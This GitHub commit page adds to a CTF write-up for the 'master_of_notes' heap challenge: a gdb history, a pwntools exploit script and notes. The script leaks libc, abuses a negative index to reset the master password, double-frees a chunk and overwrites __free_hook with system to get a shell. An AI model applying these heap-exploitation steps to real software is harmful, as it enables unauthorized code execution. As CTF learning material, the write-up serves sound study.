Skip to content

Commit

Permalink
master_of_notes finish
Browse files Browse the repository at this point in the history
  • Loading branch information
gio-del committed Jan 9, 2024
1 parent 705eb19 commit 8a97730
Show file tree
Hide file tree
Showing 3 changed files with 254 additions and 22 deletions.
144 changes: 144 additions & 0 deletions writeups/heap/master_of_notes/.gdb_history
Original file line number Diff line number Diff line change
Expand Up @@ -75,3 +75,147 @@ c
x/30gx (char*)notes_array
x/20gx 0x000055c7388135b0
vmmap
c
heap
bins
c
bins
c
bins
c
bins
c
bins
c
bins
c
bins
heap
x/s 0x55e6a3d125d0
x/10gx 0x55e6a3d125d0
x/10s 0x55e6a3d125d0
c
bins
c
bins
c
bins
x/20gx 0x55e56ba025e0
x/s 0x55e56ba025e0
c
bin
__free_hook
x/s (char*)__free_hook
x/gx (char*)__free_hook
x/gx (char)__free_hook
x/gx (char*)__free_hook
x/gx (char*)&__free_hook
x/gx 0x00007f239464f440
c
bin
c
bin
c
disass delete_note
ni
x/s 0x560b6e0030e8
x/10s 0x560b6e0030e8
x/gx *current_user
x/gx (char*)current_user
x/gx (char*)&current_user
x/gx (char*)*current_user
x/gx (char*)current_user
x/gx (char*)notes_counter
x/gx (char*)&notes_counter
x/10gx (char*)&notes_counter
x/20gx (char*)&notes_counter
ni
ni
c
disass delete_note
b *0x0000562fb2c016d2
c
x/gx (char*)master
x/10gx (char*)master
x/s 0x0000562fb4626280
x/gx 0x0000562fb4626280
x/s 0x0000562fb46274e0
x/gx (char*)notes_counter
x/gx (char*)&notes_counter
x/gx (char*)&master
x/10gx (char*)&master
c
disass delete_notes
disass delete_note
b *0x00005613efe01633
c
ni
x/gx (char*)&notes_counter
x/gx (char*)&master
x/5gx (char*)&master
c
b *0x00005613efe01633
c
ni
disass delete_note
b *0x000056458f401633
c
c
ni
info b
del 2
c
ni
x/5gx (char*)&master
c
ni
disass delete_note
ni
x/5gx (char*)&master
x/5gx (char*)master
x/s 0x000055ebaf6294e0
ni
x/s 0x000055ebaf6294e0
ni
x/s 0x000055ebaf6294e0
x/5gx (char*)master
x/S 0x000055ebaf628280
x/s 0x000055ebaf628280
ni
x/s 0x000055ebaf628280
x/gx 0x000055ebaf628280
bin
x/s 0x000055ebaf6294e0
c
c
c
c
bins
x/10gx 0x7fb6513ed8e8
x/10gx 0x7fb6513ed8e - 0x10
x/10gx 0x7fb6513ed8e-0x10
x/10gx 0x7fb6513ed8e0
x/10gx 0x7fb6513ed878
x/10gx 0x7fb6513ed8d8
c
bins
x/gx (char*)__malloc_hook
x/gx (char*)&__malloc_hook
x/s 0x00007fbb5964f322
x/gx 0x00007fbb5964f322
b *0x00007fbb5964f322
c
ni
c
x/gx (char*)&__malloc_hook
b *0x00007fc91a50a38c
c
ni
c
c
x/gx (char*)&__malloc_hook
b *0x00007fa85a04f322
c
ni
c
c
76 changes: 66 additions & 10 deletions writeups/heap/master_of_notes/script.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@
if(sys.argv[1] == '--debug'):
p = process("./master_of_notes")
gdb.attach(p, """
# b *delete_note
""" )
input("wait...")
elif(sys.argv[1] == '--strace'):
Expand Down Expand Up @@ -54,6 +55,10 @@ def fill_note(idx, content):
p.recvuntil(b'Content: ')
p.send(content)

def add_note(idx, size, content):
create_note(idx, size)
fill_note(idx, content)

def print_note(idx):
p.recvuntil(b'> ')
p.sendline(b'3')
Expand All @@ -64,29 +69,42 @@ def print_note(idx):
p.recvuntil(b'Quit')
return note

def delete_note(idx):
def delete_note(idx, sel=4):
p.recvuntil(b'> ')
p.sendline(b'4')
p.sendline(b'%d' % sel)
p.recvuntil(b'Index: ')
p.sendline(b'%d' % (idx))

def master_delete_note(idx):
delete_note(idx, sel=2)

def logout(sel=5):
p.recvuntil(b'> ')
p.sendline(b'%d' % sel)

def master_logout():
logout(sel=3)

def master_login(password):
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'Password: ')
p.sendline(password)

libc = ELF("./libc-2.27.so")
exe = ELF("./master_of_notes")

# LEAK LIBC
size = 0x50

name = b"aaaa"
name = b"Master of Notes\x00"
password = b"aaaa"

(u, n) = register(name, password)
print(f"{u} users and {n} notes")

login(name, password)

create_note(0, 10)
fill_note(0, b'a')

input('before print')
add_note(0, size, b'a')

offset = 0x3ebc00
leak = b'\x00' + print_note(0)[1:] + b'\x00\x00'
Expand All @@ -95,7 +113,45 @@ def delete_note(idx):
libc.address = u64(leak) - offset
print("[!] leak libc: %#x" % libc.address)

input('before delete')
delete_note(0)
# Exploit

delete_note(-8) # notes_array[-8] points to notes_counter. This will work because the name is "Master of Notes", will reset the password

logout()

master_login(b"\x00") # We now the password ╰(◣﹏◢)╯

# The master can double free

one_gadget = 0x4f322 # working: 0x4f322 0x10a38c, this one doesn't work: 0x4f2c5

master_delete_note(0)
master_delete_note(0) # Double free: the fastbin 0x90 will be: chunk -> chunk

master_logout()
login(name, password)

# Free Hook can be used both with system and with one_gadgets
if True:
add_note(1, size, p64(libc.symbols["__free_hook"])) # Now the fastbin is: chunk -> free hook
add_note(2, size, b"/bin/sh\x00") # Now the fastbin is: free hook

add_note(3, size, p64(libc.symbols["system"])) # This chunk will be the free hook, system will be written into it
#add_note(3, size, p64(libc.address + one_gadget)) # Also this works well :D

delete_note(2) # Seems like free(&"/bin/sh\x00") will spawn a shell ^_^


# Malloc Hook cannot be used to spawn a shell by pointing it to system and calling malloc(*"/bin/sh\x00") because the length of the note is checked to be <0x10001, no useful address
# But we can use one_gadgets :)
if False: # NOT WORKING, the one_gadget constraints are not satisfied
add_note(1, size, p64(libc.symbols["__malloc_hook"])) # Now the fastbin is: chunk -> malloc hook
add_note(2, size, b"dummynotes") # Now the fastbin is: free hook

add_note(3, size, p64(libc.address + one_gadget)) # Also this works well :D

create_note(0, size) # the malloc Trigger the one_gadget

p.sendline(b'cat flag') # :)

p.interactive()
56 changes: 44 additions & 12 deletions writeups/heap/master_of_notes/writeup sketch
Original file line number Diff line number Diff line change
Expand Up @@ -5,18 +5,24 @@
PIE: PIE enabled

One can:
- Login as user
- Registrate a user
- Login as Master (need the master password)
- Quit
- 1) Registrate a user
- 2) Login as user
- 3) Login as Master (need the master password)
- 4) Quit

Once Logged In as User:
- Create Note
- Fill Note
- Print Note
- Delete Note
- Log Out
- Quit
- 1) Create Note
- 2) Fill Note
- 3) Print Note
- 4) Delete Note
- 5) Log Out
- 6) Quit

The master can:
- 1) Print Note
- 2) Delete Note
- 3) Log Out
- 4) Quit

## User Registration and Login

Expand All @@ -28,12 +34,38 @@ Possible vuln: if note length is higher than 0x10001 the note is freed but NOT t

## Fill Note

Possible vuln: strings are not \0 terminated if the entire length is written -> memory leak
Possible vuln: strings are not \0 terminated if the entire length is written -> memory leak, used to leak libc

## Print Note

Possible vuln: it's possible to print not filled note

## Delete Note

Possible vuln: maybe an arbitrary free???
Possible vuln: maybe an arbitrary free???


### HERE


Basically the master can do double free, we need a way to become the master and then we have done

How to become the master? We must know the password, or reset it :)
Delete Note can take a negative index since there is no check :)

check = strcmp((notes_array[note_idx].note_ptr)->owner,current_user->name);

If note_idx is -8: notes_array[-8] points to notes_counter, then notes_counter.note_ptr will take the 2nd 8bytes of the notes_counter as if it's a user. Those bytes are a pointer to the master in the heap. Then (notes_array[-8].note_ptr)->owner points to "Master Of Notes" so if our current_user has the same name we pass that check.

What happens then? The frees happen.

free((notes_array[-8].note_ptr)->note_str); // This frees the 2nd byte of the master (password)
free((notes_array[-8].note_ptr)->owner); // This frees the master name
free(notes_array[-8].note_ptr); // This frees the master itself
notes_array[-8].in_use = 0; // This set to zero the first bytes of notes_array[-8] that is the notes_counter
notes_counter = notes_counter - 1; // The notes_counter become -1, which is 0xffffffff, huge number


The password became "\x00" because it's freed and so goes into a tcachebin pointing to NULL

Now we can login as master, perform a double free, logout and login as user and now we can perform a tcache bin attack

0 comments on commit 8a97730

Please sign in to comment.